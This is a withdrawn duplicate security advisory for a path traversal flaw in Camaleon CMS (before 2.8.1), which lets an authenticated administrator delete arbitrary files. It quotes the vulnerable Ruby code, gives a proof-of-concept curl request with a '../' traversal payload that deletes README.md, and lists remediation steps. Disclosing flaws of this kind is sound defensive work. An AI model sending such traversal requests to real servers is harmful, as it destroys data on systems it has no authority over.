GHSA-3hp8-6j24-m5gm
Duplicate Advisory: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
- Severity
- High
- The publisher's own rating, not a CVSS score
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- —
- Not classified
- Fix
2.8.1- Upgrade camaleon_cms to this version or later
Description
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7x4w-cj9r-h4v9. This link is maintained to preserve external references.
Original Description
The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
Where it is joined in an unchecked manner with the root folder and then deleted.
Proof of concept The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
2F..
2F..
2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
Impact
This issue may lead to a defective CMS or system.
Remediation
Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal
Affected versions
RubyGems
| Package | Vulnerable | Fixed in |
|---|---|---|
| camaleon_cms | < 2.8.1 |
2.8.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
camaleon_cms RubyGems → 2.8.1
- bundler
bundle update camaleon_cms # Gemfile: gem "camaleon_cms", ">= 2.8.1"
References
Packages
Other links
Timeline
- Published
- Withdrawn
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-jw5g-f64p-6x78 Camaleon CMS vulnerable to Path Traversal through AWS S3 uploader implementation | Medium | Also affects camaleon_cms |
| GHSA-rp28-mvq3-wf8j Camaleon CMS Vulnerable to Privilege Escalation through a Mass Assignment | Critical | Also affects camaleon_cms |
| GHSA-hhxg-rvc9-8726 camaleon_cms affected by cross site scripting | Medium | Also affects camaleon_cms |
| GHSA-75j2-9gmc-m855 Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184) | Medium | Also affects camaleon_cms |
| GHSA-8fx8-3rg2-79xw Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184) | Medium | Also affects camaleon_cms |
| GHSA-7x4w-cj9r-h4v9 Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185) | High | Also affects camaleon_cms |
| GHSA-r9cr-qmfw-pmrc Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184) | Medium | Also affects camaleon_cms |
| GHSA-cp65-5m9r-vc2c Camaleon CMS vulnerable to arbitrary path traversal (GHSL-2024-183) | High | Also affects camaleon_cms |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor